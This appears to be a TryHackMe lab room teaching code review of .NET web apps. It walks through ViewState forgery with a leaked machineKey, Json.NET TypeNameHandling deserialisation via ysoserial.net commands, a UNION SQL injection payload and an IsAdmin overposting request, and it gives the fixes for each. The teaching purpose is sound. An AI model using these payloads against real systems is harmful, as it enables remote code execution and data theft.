OSA
Task 1

Introduction

This is the .NET entry in the Web Frameworks module, and we are going to work it the way a security reviewer actually does: as a code review. Instead of poking at a black box and guessing, we are handed the application's source and asked to find the bugs by reading it, then prove each one on the running lab machine. This is white-box testing. Once we can see how the code is written, the framework-specific mistakes stop being mysteries and become patterns we can grep for.

The .NET ecosystem splits cleanly into two generations, and our lab machine runs both. ASP.NET Framework is the Windows-only platform that has served enterprise line-of-business applications since the early 2000s. You find it behind IIS, serving .aspx Web Forms pages, with a signed __VIEWSTATE blob in every form.ASP.NET Core is the cross-platform successor that drives new development today. It runs controllers and Razor views, uses Entity Framework Core for data access, and binds HTTP requests straight onto C# objects. The two share a language and a runtime but fail in very different ways, and a framework's defaults are exactly where its bugs tend to live.

The lab machine's landing page is a source review viewer with three panes. On the far left is a file tree of the application's source, in the middle is the redacted source itself with syntax highlighting, and on the right is the live application, with a toggle between the two services. We read the redacted source in the middle pane to locate each framework-specific sink, then we exploit the live app on the right to recover the real flag. Secret values such as signing keys and flags are blanked to <REDACTED> in the served source, so the source teaches us WHERE a bug lives, never the secret itself. We recover the real values by attacking the running lab machine.

Learning Objectives

  • Read ASP.NET Framework and ASP.NET Core source to locate framework-specific sinks
  • Recover a leaked <machineKey> and forge a ViewState payload into remote code execution with ysoserial.net
  • Spot a SQL injection that survives Entity Framework Core's parameterisation
  • Identify and exploit model binding overposting to escalate to administrator
  • Recognise Newtonsoft.Json, TypeNameHandling, and the classic .NET deserialisation sinks, and drive one to RCE

Prerequisites

  • Working knowledge of HTTP and the request/response cycle
  • Familiarity with Burp Suite and the OWASP Top 10
  • Comfort reading C# (no writing required) and using curl from a terminal

Suggested prerequisite rooms: Web Frameworks: Code Review for the read, map, trace, triage, and verify method,Web Frameworks: Java, and Web Frameworks: Python, plus OWASP Top 10 2025: Insecure Data HandlingSQL Injection, and Burp Suite: The Basics.

Machine Access

To begin, click the Start Lab Machine button below and give it a couple of minutes to boot. Everything on the lab machine runs in the browser: the source review viewer at http://MACHINE_IP/, the ASP.NET Core AdminPanel at http://MACHINE_IP:5000/, and the ASP.NET Framework LegacyPortal at http://MACHINE_IP:8080/. The one specialised tool we use is ysoserial.net, a .NET payload generator; it is a Windows executable, so we run it natively on the lab machine itself rather than fighting Windows-executable compatibility on the AttackBox. A restricted attacker account is there for exactly that, with its SSH credentials in the card below. It can only run ysoserial.exe, with no access to the application source, the review viewer's files, or any flag. We connect to it for the first time in Task 2.

Machine Access

 

IP address
MACHINE_IP
SSH username
attacker
SSH password
Att4ck3r!2026
Connection via
Web browser and SSH
http://MACHINE_IP/

?Answer the questions below

  1. I have successfully started my lab machine instance.
Task 2

ViewState Deserialisation and the machineKey

__VIEWSTATE looks like noise. It is a long base64 string in a hidden form field on every ASP.NET Web Forms page, and most developers treat it as a framework detail they never have to think about. But ViewState is a serialised object graph, and the key that signs it can leak. When it does, an attacker forges a ViewState that carries a .NET gadget chain, and the server runs it as code the moment it deserialises the field on postback.

Getting ysoserial.net

ysoserial.net is the .NET payload generator we use for the rest of this room; the official builds live on its GitHub releases page. It comes pre-installed on the lab machine, so there is nothing to download, and the attacker account exists just to run it. Building the payload on Windows is deliberate, not only convenient: the tool assembles gadget chains out of .NET Framework types, so generating them on the same platform the target runs keeps the payload aligned with what the server will deserialise. Connect over SSH with the credentials from Machine Access:

AttackBox: Connect to the lab machine over SSH
root@TryHackMe:~# ssh attacker@MACHINE_IP    

Once connected, find where the tool landed, since the folder layout can change between releases, and run it from there:

Lab machine (SSH): Open the ysoserial.net folder
C:\Users\attacker> cd C:\tools\ysoserial\Release    

Every ysoserial.exe command for the rest of this room runs from this SSH session. Copy the payload it prints back to your AttackBox terminal to send with curl.

How ViewState Works

Every time a Web Forms page renders, the framework serialises the state of its server-side controls into a binary blob, base64-encodes it, signs it with an HMAC, and writes it into the __VIEWSTATE field. On postback the server reads the field, verifies the signature, and deserialises the content to restore page state. Since the September 2014 security update, ASP.NET always verifies the signature, so the realistic attack today depends on recovering the signing key rather than finding the check switched off. That key lives in <machineKey>.

Spotting It in the Source

Open LegacyPortal/web.config in the viewer. The signing material is right there:

<machineKey
  validationKey="<REDACTED>"
  decryptionKey="<REDACTED>"
  validation="SHA1"
  decryption="AES"
  compatibilityMode="Framework20SP1" />

The source tells us three useful things and hides one. The validationKey is the HMAC secret, blanked to <REDACTED> in the served source. The validation attribute names the algorithm, SHA1, which we will hand to our payload generator. And compatibilityMode="Framework20SP1" tells us the application uses the legacy ViewState MAC, which matters when we build the payload. Now open LegacyPortal/Default.aspx and note that it is a Web Forms page with server controls inside a runat="server" form, so every postback round-trips a signed __VIEWSTATE. The sink is real; we just need the key.

Recovering the Key From the Lab Machine

IIS refuses to serve web.config over HTTP, but it does not protect a developer's backup copy. A backup of the config has been left in the web root, and content discovery against the live LegacyPortal finds it:

AttackBox: Recover the leaked machineKey
root@TryHackMe:~# curl -s http://MACHINE_IP:8080/web.config.bak | grep -i machinekey -A5
    <machineKey
      validationKey="A0B1C2D3E4F5A6B7C8D9E0F1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C2D3E4F5A6B7C8D9E0F1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1"
      decryptionKey="B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6E7F8A9B0C1D2E3F4A5B6C7D8E9F0A1B2C3"
      validation="SHA1"
      decryption="AES"
      compatibilityMode="Framework20SP1" />    

The backup carries the real validationKey, the value the served source kept blank. The source pointed us at the sink and the algorithm; the lab machine filled in the secret.

Forging the ViewState Payload

ysoserial.net signs a gadget chain with the recovered key so the server accepts and deserialises it. The signature needs one more value besides the validationKey: the __VIEWSTATEGENERATOR, a short hex string ASP.NET derives from the page and embeds as a hidden field in every rendered form. It is not secret, so unlike the key we do not have to leak it, we just read it straight off the live page:

AttackBox: Read the __VIEWSTATEGENERATOR value
root@TryHackMe:~# curl -s http://MACHINE_IP:8080/Default.aspx | grep -oP '__VIEWSTATEGENERATOR.*?value="\K[^"]+'
CA0B0334

With the validationKey from the backup and the __VIEWSTATEGENERATOR from the live page, we can build the payload. The portal serves a writable loot export directory, so we use the RCE to copy the flag there and read it back over HTTP:

Lab machine (SSH): Generate the ViewState RCE payload
C:\Users\attacker> ysoserial.exe -p ViewState -g TypeConfuseDelegate ^
    --validationalg="SHA1" ^
    --validationkey="REPLACE_VALIDATIONKEY_FROM_BACKUP" ^
    --generator="CA0B0334" ^
    -c "cmd /c copy C:\flags\viewstate.txt C:\sites\LegacyPortal\loot\out.txt"
%2FwEygBIAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAu...
(URL-encoded ViewState, ~3 KB, truncated)    

Flags explained:

  • -p ViewState, use the ViewState plugin
  • -g TypeConfuseDelegate, the gadget chain (reliable on .NET Framework targets)
  • --validationalg, the validation value read from the config (SHA1)
  • --validationkey, the validationKey recovered from the backup
  • --generator, the __VIEWSTATEGENERATOR value from the live page
  • -c, the OS command to run on the server

The tool prints a URL-encoded value ready to drop straight into a form body. Copy it back to the AttackBox and save it as __VIEWSTATE, then submit it in a POST request to the page and read the flag from the export directory:

AttackBox: Submit the payload and read the flag
root@TryHackMe:~# curl -s -X POST http://MACHINE_IP:8080/Default.aspx \
    --data "__VIEWSTATE=PAYLOAD&__VIEWSTATEGENERATOR=CA0B0334" -o /dev/null
root@TryHackMe:~# curl -s http://MACHINE_IP:8080/loot/out.txt    

The POST returns a 500 error because the deserialised object is not a valid page state, but that happens after the gadget has already run, so the command executes regardless. The export file now holds the flag. The takeaway for a code review is mechanical: a Web Forms page plus a <machineKey> you can recover equals remote code execution.

?Answer the questions below

  1. Which web.config element holds the validation and decryption keys that sign and encrypt ViewState?
  2. IIS will not serve web.config over HTTP, but a developer's leftover copy is not protected. Which file on the lab machine's LegacyPortal leaks the real signing key?
  3. Run the ViewState payload and read the export file. What is the flag?
Task 3

SQL Injection Below the EF Core ORM

Entity Framework Core parameterises every query it builds from LINQ. When we write db.Articles.Where(a => a.Title == input), the value never touches the SQL string; EF sends the query and the value separately and the driver binds the value as a parameter. This is why people say "EF Core is safe from SQL injection". The honest version is narrower: the ORM is safe only while developers stay inside it.

EF Core gives developers an escape hatch, FromSqlRaw, that runs a hand-written SQL string. It is safe when values are passed as parameters and dangerous the moment input is formatted into the string instead.

In a real codebase these raw calls are the grep targets. Three methods drop below the ORM: FromSqlRaw and FromSqlInterpolated for queries that return entities, and ExecuteSqlRaw for commands that do not. Each has a parameterised twin, and the dangerous pattern is always the same shape, a string built with $"..." or + that mixes a request value into the SQL before it reaches the method. FromSqlInterpolated is a particular trap: it looks parameterised because it takes an interpolated string, but it is only safe when the interpolated values arrive as the method's own arguments. Hand it a string you already concatenated and the protection is gone. So a reviewer reads these call sites and asks one question of each: does the user value reach the database as a bound parameter, or as part of the SQL text?

Spotting It in the Source

Open ArticlesController.cs in the viewer and read the search action:

var sql = $"SELECT Id, Title, Body FROM Articles WHERE Title = '{q}'";
var results = _db.Articles.FromSqlRaw(sql).ToList();

The user-supplied q is interpolated straight into the SQL string inside single quotes. There is no parameter, so this is the unsafe form. The safe version passes q separately, FromSqlRaw("... WHERE Title = {0}", q), where EF binds the value and the input can never break out.

Now open AdminPanel/Models/Flag.cs and AdminPanel/Data/AppDbContext.cs. Alongside the Article and User types there is a Flag entity mapped to a table named Flags with a Value column, and no normal action exposes it. This is the white-box advantage at work: by reading the model source we recover the schema, the table name and the column, before sending a single payload. With the schema in hand we can UNION the flag straight out of the injectable query.

Exploiting the Live App

The query selects three columns (Id, Title, Body), so our UNION has to return three. We close the quote, UNION a select of the flag value from the Flags table, and comment out the trailing quote:

AttackBox: UNION-based SQL injection
root@TryHackMe:~# curl -s --get http://MACHINE_IP:5000/Articles/Search \
    --data-urlencode "q=' UNION SELECT 999, Value, Value FROM Flags -- "
{"results":[{"title":"THM{...}","body":"THM{...}"}]}

Flags explained:

  • --get, send the data as a query string on a GET request
  • --data-urlencode, URL-encode the payload so the quotes, spaces, and comment survive transit

The single quote closes the string literal, the UNION SELECT appends our own row, and the trailing -- comments out the quote the application adds after our input. The column count has to match, which is exactly why reading the source first paid off: the action selected three columns, so we supply three. We place Value in both the title and body positions so the flag shows up whichever field the response renders, and the endpoint returns it in its JSON.

The lesson for a review is simple: an ORM call alone is not proof of safety. The moment we see FromSqlRaw or ExecuteSqlRaw with input formatted into the string, the parameterisation guarantee is gone and we treat the endpoint as injectable, then read the surrounding models to learn the schema we can reach through it.

?Answer the questions below

  1. Which Entity Framework Core method runs a hand-written SQL string and reopens SQL injection when a request value is interpolated into that string instead of passed as a parameter?
  2. Reading the model and AppDbContext source recovers the schema before we send a payload. Which table does the hidden flag's Value column belong to?
  3. Inject through the search endpoint to read the hidden flag. What is it?
Task 4

Mass Assignment and Overposting

Model binding turns an HTTP request into a C# object. A controller action declares a parameter type, and the framework matches incoming form fields, query values, or JSON properties to that type's properties by name. It is convenient and automatic. The problem is that "by name" means "every property by name", including ones the developer never meant to expose. Overposting, also called mass assignment, is the result: an attacker sends an extra field the form never rendered, and the binder sets it anyway.

The binder does not care where a value came from. Form fields, query-string parameters, route values, and JSON body properties all feed the same matching step, so an attacker can smuggle a property in through whichever channel the action accepts. It also does not care whether the UI ever displayed the field. The rendered form is just HTML; the binding contract is the parameter type, not the page. This is why mass assignment turns up again and again in code that binds whole database entities directly: the convenient default, accepting a rich domain object straight off the wire, is the insecure one.

Spotting It in the Source

Open Models/User.cs in the viewer:

public class User
{
    public int Id { get; set; }
    public string Email { get; set; }
    public string DisplayName { get; set; }
    public string PasswordHash { get; set; }
    public bool IsAdmin { get; set; }
}

The IsAdmin flag is the prize. Now open AccountController.cs and read the profile update action:

public async Task<IActionResult> Update(User model)
{
    ...
    user.Email       = model.Email;
    user.DisplayName = model.DisplayName;
    user.IsAdmin     = model.IsAdmin;
    await _db.SaveChangesAsync();
}

The action binds the whole User type with no restriction, and it copies model.IsAdmin onto the stored record. The profile form only renders Email and DisplayName, but binding happens against the entire class. If we add IsAdmin=true to the POST body, the binder sets it and SaveChanges persists it.

There are two fixes, and a reviewer should know both. The [Bind] attribute names an allow-list, [Bind("Email,DisplayName")] User model, so the binder ignores every other field in the request. The cleaner approach for new code is a Data Transfer Object: a small UpdateUserDto that contains only Email and DisplayName. With a DTO the sensitive property does not exist on the bound type at all, so there is nothing for an attacker to set and nothing for a future developer to forget. Binding entity types straight from the request is the root cause, and both fixes work by keeping the sensitive property away from the binder.

Exploiting the Live App

Register an account on the AdminPanel at http://MACHINE_IP:5000/Account/Register and log in through the browser (the form carries an anti-forgery token). Then update your profile and intercept the POST to /Account/Update in Burp. The body looks like this:

Email=you%40test.com&DisplayName=You

Add the privilege field in Burp Repeater and send it:

Email=you%40test.com&DisplayName=You&IsAdmin=true

A 200 response means the field was accepted and written. There is one wrinkle worth understanding rather than just working around. This application bakes the role into the authentication cookie at sign-in, so the cookie you are holding still says "not admin" even after the database row flips. The admin page re-checks IsAdmin against the database, but the access decision in front of it trusts your existing claims until you get a fresh cookie. So we log out and back in to mint a new cookie that reflects the escalated row, then visit http://MACHINE_IP:5000/Admin. The dashboard loads instead of a 403, and the flag is on the page.

?Answer the questions below

  1. The profile form only renders Email and DisplayName , yet binding happens against the whole User type. Which property, smuggled into the POST body, escalates the account to administrator when the binder sets it?
  2. Which ASP.NET Core attribute fixes the overpost by restricting model binding to a named allow-list of properties?
  3. Overpost the field, re-login, and read the admin dashboard. What is the flag?
Task 5

Insecure Deserialisation With TypeNameHandling

ViewState is one .NET deserialisation sink, but it is not the only one. The classic .NET serialisers will instantiate whatever type the input names, which means a single deserialise call on attacker-controlled data can build a gadget chain and run code. Recognising these sinks in a code review is a core .NET skill. The headline names to grep for are BinaryFormatter, LosFormatter, ObjectStateFormatter, JavaScriptSerializer with a SimpleTypeResolver, and Newtonsoft.Json with TypeNameHandling enabled.

The most common modern one is Newtonsoft.Json. By default it is safe: it does not embed or resolve type names. The sink appears when a developer turns on TypeNameHandling, which makes Json.NET honour a $type property in the JSON and instantiate the type it names.

It helps to know what each sink looks like in source, so a single pass over a codebase flags them quickly:

Serialiser When it is a sink
BinaryFormatter any .Deserialize() on user input (obsolete since .NET 5, still common in Framework code)
LosFormatter / ObjectStateFormatter the formatters behind ViewState; a direct .Deserialize() on input is RCE
JavaScriptSerializer only when constructed with a SimpleTypeResolver
Newtonsoft.Json when TypeNameHandling is anything other than None
System.Text.Json safe by default; it has no type-name handling to enable

TypeNameHandling.Auto is also dangerous, not just All: it resolves the embedded type whenever the declared target is an interface, an abstract class, or object, which is exactly the shape of a generic import endpoint. The modern, safe default is System.Text.Json with a fixed model type. When a review turns up Json.NET with TypeNameHandling set at all, the question is only how reachable the call is, not whether it is a risk.

Spotting It in the Source

Open LegacyPortal/Import.ashx in the viewer:

var settings = new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.All
};
var obj = JsonConvert.DeserializeObject<object>(body, settings);

The request body is deserialised with TypeNameHandling.All, so the caller chooses the type that gets created. That is the sink. The safe form leaves TypeNameHandling at its default and binds to a fixed model type, so the caller can never steer the deserialiser onto a gadget.

Exploiting the Live App

ysoserial.net ships a gadget for exactly this. The ObjectDataProvider gadget, emitted for the Json.Net formatter, calls a method of our choosing during deserialisation. Back in the SSH session on the lab machine (see Task 2 if you need to reconnect), we reuse the same export-directory trick to read the flag:

Lab machine (SSH): Generate the Json.NET payload
C:\Users\attacker> ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw ^
    -c "cmd /c copy C:\flags\json.txt C:\sites\LegacyPortal\loot\js.txt"
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, ...

Flags explained:

  • -f Json.Net, target the Newtonsoft.Json formatter
  • -g ObjectDataProvider, the gadget chain that reaches command execution
  • -o raw, output raw JSON rather than base64
  • -c, the command to run

Copy the JSON back to the AttackBox, send it to the handler, then read the flag from the export directory:

AttackBox: Submit the payload and read the flag
root@TryHackMe:~# curl -s -X POST http://MACHINE_IP:8080/Import.ashx \
    -H "Content-Type: application/json" --data @payload.json -o /dev/null
root@TryHackMe:~# curl -s http://MACHINE_IP:8080/loot/js.txt

The handler deserialises the body, the gadget fires, and the command runs. The ObjectDataProvider gadget works by naming a type that wraps a method call: Json.NET instantiates it from our $type field and, in setting its properties, invokes the method with our arguments. That is why this gadget is reliable against .NET Framework, where the type it relies on is always present. The pattern to carry into any .NET review is the same: find the deserialise call, check whether the type is fixed by the code or chosen by the input, and treat the second case as remote code execution.

?Answer the questions below

  1. Which TypeNameHandling value in the Import.ashx source makes Json.NET honour the $type property and instantiate whatever type the input names, creating the sink?
  2. Which ysoserial.net gadget chain reaches code execution through the Json.NET formatter by wrapping a method call in a type it instantiates from $type ?
  3. Run the deserialisation payload and read the export file. What is the flag?
Task 6

Practical, The White-Box Chain

Each task so far solved one bug in isolation. The point of a source review is to step back and rank what we found. We reviewed two applications on one host: a modern ASP.NET Core panel with an injection and an access-control bug, and a legacy ASP.NET Framework portal with two deserialisation sinks. Three of those bugs read data. One of them, the ViewState deserialisation reachable once we recovered the machineKey, gives code execution on the host itself, which outranks everything else. A reviewer reports the highest-impact finding first, and an attacker exploits it first.

Ranking is the skill the review teaches. The SQL injection and the overposting bug each expose one application's data, and they are serious, but their blast radius stops at the app. Code execution on the host is a different tier: from a foothold in the IIS worker process we can read any file the service account can reach, pivot to the other application's database and configuration, harvest credentials, and persist. That is why the leaked machineKey, a single backup file that content discovery finds in the first pass, is the finding that matters most on this host. The same backup also reveals the validation algorithm, the last value the payload generator needs.

So the chain is the methodology, not a new trick. We read the source to find where every bug lived, we recovered the leaked signing key from the lab machine, and we turned the highest-impact finding into a foothold on the Windows host. From that foothold we can read anything the application's account can read, including a flag that no web endpoint ever exposes.

Recovering the Final Flag

Confirm the values you read during the review: the leaked web.config.bak carries the machineKey, and its validation attribute is the algorithm you pass to the payload generator. Then reuse the ViewState foothold to read the host-only flag, which sits in a file on disk rather than behind any route. Back in the SSH session on the lab machine:

Lab machine (SSH): Read the host-only flag via the foothold
C:\Users\attacker> ysoserial.exe -p ViewState -g TypeConfuseDelegate ^
    --validationalg="SHA1" --validationkey="VALIDATIONKEY_FROM_BACKUP" --generator="CA0B0334" ^
    -c "cmd /c copy C:\flags\chain.txt C:\sites\LegacyPortal\loot\chain.txt"

Copy the printed value to the AttackBox, save it as payload.txt, and submit it:

AttackBox: Submit the payload and read the flag
root@TryHackMe:~# curl -s -X POST http://MACHINE_IP:8080/Default.aspx \
    --data "__VIEWSTATE=$(cat payload.txt)&__VIEWSTATEGENERATOR=CA0B0334" -o /dev/null
root@TryHackMe:~# curl -s http://MACHINE_IP:8080/loot/chain.txt

Step back and look at what we did. We read the source to find where each bug lived, recovered one leaked secret from the lab machine, recognised that the ViewState sink was the path to code execution, and used it to read a flag that no endpoint serves. No exploit code of our own, just a methodical review that turned a backup file and a Web Forms page into a foothold on the host.

Writing this up is the other half of the job. A useful report does not list four bugs as equals; it leads with the remote code execution, names the exact file and line for each finding, and gives the one-line fix: parameterise the raw SQL, bind a DTO instead of the entity, rotate the leaked machineKey and remove the backup, and drop TypeNameHandling for a fixed model type. Before claiming RCE, a careful tester confirms it rather than assuming the gadget fired, which is why we read the flag back over HTTP rather than trusting the blind request. The same loop, read the source, find the sink, prove it on the lab machine, applies to any .NET codebase you are handed next.

?Answer the questions below

  1. Of the four bugs across the two apps, code execution on the host outranks the data-only leaks. Which application hosts the deserialisation sinks that reach that code execution? (one word)
  2. The payload generator needs the signing algorithm alongside the recovered key. Which validation algorithm does the leaked web.config.bak name?
  3. Use the foothold to read the host-only flag. What is it?
Task 7

Conclusion

We reviewed two .NET applications the way a security tester does, by reading the source for the sink and then proving it on the running lab machine. The bugs were not exotic. Each one came from a framework default or a developer habit that is easy to ship and hard to spot from the outside.

What we walked away with:

  • A leaked <machineKey> turns every Web Forms page into a remote code execution endpoint, and the leak is usually a backup config file that content discovery finds in the first pass.
  • Entity Framework Core parameterises queries and stays safe until a developer reaches for FromSqlRaw with input formatted into the string.
  • Model binding against a full entity type trusts the client to send only the fields the form rendered, and a single extra parameter escalates to administrator.
  • Newtonsoft.Json with TypeNameHandling enabled, like BinaryFormatter and the other classic .NET serialisers, instantiates whatever type the input names, which is a direct path to RCE.
  • The value of the review is ranking what you find: the same host held four bugs, and the deserialisation sink was the one that owned the machine.

The thread running through all of it is the white-box angle. Half the work was reading the source to find the sink, and the other half was proving it on the lab machine. Once we know what each .NET generation signs, trusts, binds, and deserialises, the same patterns are quick to find in any codebase that uses them.

The review method itself, the read, map, trace, triage, and verify workflow, is covered in Web Frameworks: Code Review. The sibling rooms Web Frameworks: Python (Django and Flask) and Web Frameworks: Java (Spring Boot) carry these patterns into other stacks, where the same classes of bug show up with different syntax and different defaults.

?Answer the questions below

  1. I have completed the Web Frameworks: .NET room!